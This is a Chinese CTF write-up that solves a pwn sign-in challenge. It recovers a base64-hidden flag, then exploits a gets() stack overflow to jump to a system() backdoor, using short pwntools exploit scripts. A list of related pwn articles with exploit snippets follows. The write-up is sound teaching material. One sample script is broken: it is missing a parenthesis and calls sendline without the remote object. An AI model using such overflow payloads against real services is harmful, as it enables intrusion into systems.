實戰解析PWN籤到題

2021-03-02 雷石安全實驗室


題目只給出nc埠沒有附件 連接發現

Pwntools is such an awesome python module, right?

Tell you a secret (only smart baby can see it) :

Maybe I will tell you again when you clever than ELSEpush .

最後面有省略號我猜測應該是沒有輸出完所以我們使用pwntools攻擊 recvline() 接受沒有顯示出來的內容

然後發現有一個base64加密的字符串 結合題目說聰明得人才能發現解密出來就是flag{n0tf4stert6an_y0u} 





拿到題目我一般的做題思路是首先checksec一下看到附件之打開了NX保護所以程序中不能直接使用shellcode執行任意代碼 以及32位的elf linux程序 

然後通過看到的文件基本信息選擇64位或者32位的IDA Pro 這個ret2text我們選擇用32位的來靜態分析它的原始碼

 

用IDA打開之後它自動停在main函數處首先展現出來的是彙編代碼 我們要將彙編代碼轉成我們能通俗易懂的c語言代碼按F5進行反彙編發現這個函數的主函數並沒有什麼漏洞但是main的子函數vulnerable裡面定義了緩衝區有8位元組然後gets函數這裡是一個棧溢出的基本漏洞 gets函數可以有棧溢出的漏洞對讀入的數據不受限制 所以可以藉助溢出的漏洞來到它的返回地址 我們從靜態調試中得到棧裡與ebp距離為16位元組而緩衝區只定義了8位元組 然後我們就用gets函數執行可讀多個字節來覆蓋棧裡的程序

 

在ida中我們還發現有一個system函數這就是一般pwn題的後門函數當我們用垃圾數據寫出的payload成功劫持了程序的執行流時 需要寫一個指針的返回地址來執行我們需要的惡意代碼 這個system地址就是8048522 

根據綜上分析exp如下 python 1.from pwn import * 2.c=remote('...', ) 3.#c=process(./ret2text) 4.py=b'A'*16+b'BBBB'+p32(0x8048522) 5.c.sendline(py) 6.c.interactive()







首先了解pwntools,pwntools是一個二進位利用框架。下面我給大家介紹下pwntools的使用方法 pwntools腳本 python 1.from pwn import * 2.c = remote("127.0.0.1", 8080) 3.sendline("AAAA" * 18 + p32(0x8048522) 4.c.interactive() remote("一個域名或者ip地址", 埠) 會連接到我們指定的地址及埠。然後該函數會返回remote對象 (這裡,我們將該對象保存到了變量 c). remote對象主要用來進行對遠程主機的輸入輸出. 它有如下幾個方法:

send(payload) 發送payload

sendline(payload) 發送payload,並進行換行(末尾\n)

sendafter(some_string, payload) 接收到 some_string 後, 發送你的 payload

recvn(N) 接受 N(數字) 字符

recvline() 接收一行輸出

recvlines(N) 接收 N(數字) 行輸出

recvuntil(some_string) 接收到 some_string 為止


相關焦點

  • BUU_PWN刷題(一)
    exp:from pwn import *#io = process(".exp:from pwn import *#io = process(".amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)程序的漏洞在encrypt()函數裡面,可以發現在gets時,存在棧溢出的漏洞,這題並沒有後門函數
  • PWN學習指南
    上面學的都只是語法,還得做做oj上面的題,能夠用程式語言把自己的想法表達出來。會寫彙編也很重要,寫shellcode必備.系統知識《深入理解計算機系統》 : 這本書覆蓋了計算機系統的方方面面.作業系統原理 :找網課看看CTF中大部分的pwn題都是linux平臺上的,那麼懂得linux的基本操作也是必不可少的.常用的命令,權限控制,linux的系統調用等…百度和b站找找教程就行了.參考書籍《鳥哥的Linux私房菜基礎篇》(真的是只是參考書籍,太厚了…,遇到了不懂的就翻翻就好了)懂的上面這些就可以學習基本的二進位漏洞了.
  • arm_pwn環境搭建及初探
    相關一般來說還是比較習慣用pwntools來寫題目,所以就研究了下相關的使用方法。例題這裡以第四屆上海市大學生網絡安全大賽的baby_arm為例講下arm的pwn。— QEMU Utilities — pwntools 4.1.2 documentation  http://docs.pwntools.com/en/stable/qemu.html?
  • 通過一道pwn題詳細分析retdlresolve技術
    1、執行put@plt,此時puts函數的GOT表填充的只是下一條指令地址,push reloc_arg=0x02、執行puts@plt+11指令,跳轉到PLT[0],push GOT[1]的內容,並跳轉到GOT[2]上去執行隨後調用_dl_runtime_resolve(link_map, reloc_arg),_dl_runtime_resolve函數中會調用_dl_fixup來完成解析:
  • Linux pwn從入門到熟練(二)
    這裡我們會介紹,如何在棧可執行而system函數以及參數沒有的情況下,如何自己布置payload進行pwn。此外,還提供了一份可以參考的pwn套路,套路熟悉了,即可慢慢轉化為熟悉。故此名曰:入門到熟練(二)。 練習題參考(利用庫函數讀取參數)所謂的入門到熟練,套路還是要有的。套路有了,就可以見招拆招。我們一步一步來。
  • Linux kernel pwn:ROP & ret2usr
    ,由於內核pwn相對於用戶態的pwn來說複雜很多,而網上記載入門的博客都比較簡略,所以這篇博文我會儘可能詳細地記錄,有錯誤的點希望師傅們斧正。pwn不一樣,內核pwn的漏洞一般是出現在驅動中,簡單地說,驅動程序是一個內核程序,它驅動與之關聯的特定設備。
  • Linux pwn從入門到熟練(三)
    在本程序中,沒有開啟PIE,因此有如下的結果:$ python getOverFlowOffset.py 0x08048695 ~/pwn_execrise/pwn_basic_rop_2/pwn7[*] /home/desword/pwn_execrise/pwn_basic_rop_2/pwn7 is 32
  • 一步一步學pwntools
    本來想發發我之前CTF的writeups,不過數量有點多,而且網上也有很多質量不錯的wp,就發回之前寫的pwntools新手教程。網上純新手教程比較少,一般都是直接調用api,這篇主要是想給新手對pwntool一個更整體的認識。原文是我用英文寫的,如果翻譯的不好,請見諒。
  • linux pwn入門學習到放棄
    而動態連結的ELF二進位文件使用稱為全局偏移表(GOT)的查找表來動態解析共享庫中的函數,GOT就成為了黑客關注的目標之一。GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術: read only relocation。
  • 今天你pwn了嗎(三)
    babyfengshui_33c3_2016這題 是個很好的 堆入門題。我們一起來分析下吧。[Black Watch 入群題]PWN這道題 考察棧遷移的,剛好再次把它給熟悉下。p.send(pd2)p.interactive()稍微 總結下 ,棧遷移的題,這題的話是一種類型(程序中是有leave;ret;),我們可以在 ret_addr處 填入 leave,ebp處 填入 我們的rop鏈所在地址,再減4 的地址。即可達到切棧的效果。
  • 《從入門到禿頭之PWN蛇皮走位》
    這道題讀出的信息,有IP:182.254.217.142 PORT:10001然後flag存放位置是在/home/pwn/flag那麼按道理就是,我們使用遠程連接182.254.217.142:10001然後執行命令接下來問題就是怎麼打了分析函數使用工具:Radare2、IDA7.0使用IDA7.0查看程序
  • 高考完形填空實戰及解析
    高考完形填空實戰及解析 2014-09-24 15:23 來源:新東方編輯整理 作者:
  • 歷年壓軸真題整理:函數真題及導數大題解析,實戰訓練,對接考點
    同時每道題之後還會有相應的答案與解析,同學們最好是在做題之前,實現設好時間,保證自己的做題消耗時間與高考實戰時一樣,這樣才能達到最好的效果。當然同學們不要盲目的去收集各類習題,為了刷題而刷題,這樣的訓練效果是極低的,大家要一邊做題,一邊歸納試卷中所包含的題型與考點,做以總結。
  • CTF 玩轉 pwn 月度總結
    下面是 8 周學習的總結, 基本上是按照how2heap 路線走的.由於 8 周內容全寫, 篇幅太長, 這裡只講述每道 PWN 題所用到的一個知識點.第一節(fastbin_dup_into_stack)知識點 利用 fastbin 之間,單鍊表的連接的特性, 溢出修改下一個 free chunk 的地址, 造成任意地址寫.
  • 一道題徹底理解 Pwn Heap Unlink
    ,因此存在UAF而且delete只檢驗了: v1 < 0 || v1 >= list->count 並沒有對於堆塊做有效性檢驗,故存在 double free 漏洞以下開始設計 exp ,以下為基本菜單from pwn
  • 簡單分析南郵實訓平臺pwn方向真題
    簡單分析南郵實訓平臺pwn方向第二題 - Stack Overflow
  • 安洵杯2020 官方Writeup(Pwn)
    /usr/bin/env python#-*- coding:utf-8 -*-# Author: i0ganfrom pwn import *import osr = lambda x : io.recv(x)ra = lambda : io.recvall()rl = lambda : io.recvline
  • PWNHUB雙蛋賽pwn題解
    pwnhub的2道pwn題目,一道格式化字符串的題目,一道libc-2.31的堆題目。
  • 2020科來杯PWN銅牌2-memo
    跟去年那個格式化字符串漏洞的題一樣然後直接用 fmtstr_payload()from pwnp.recvuntil("Key:")p.sendline("QHf0Z3")p.recvuntil("your msg:")payload = fmtstr_payload(5, {0x804C018:0x8049211})p.sendline(payload)p.interactive()====== 完 ======這道題當時一打開發現跟去年的差不多
  • vm-pwn入門
    文章共計2761個詞預計閱讀7分鐘來和我一起閱讀吧引言之前一直沒去了解過vm-pwn